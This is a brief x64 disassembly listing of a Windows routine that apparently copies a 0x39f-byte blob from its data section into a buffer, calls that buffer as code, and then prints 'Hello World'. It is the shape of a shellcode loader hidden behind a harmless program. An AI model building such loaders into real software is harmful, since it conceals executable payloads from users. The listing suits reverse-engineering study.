mov r8d, 0x39f
lea rdx, section..data
mov rcx, qword [rsp + 0x20]
call sub.VCRUNTIME140.dll_memmove
call qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Hello_World__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call section..text
jmp 0x14000185b
xor eax, eax
add rsp, 0x38
ret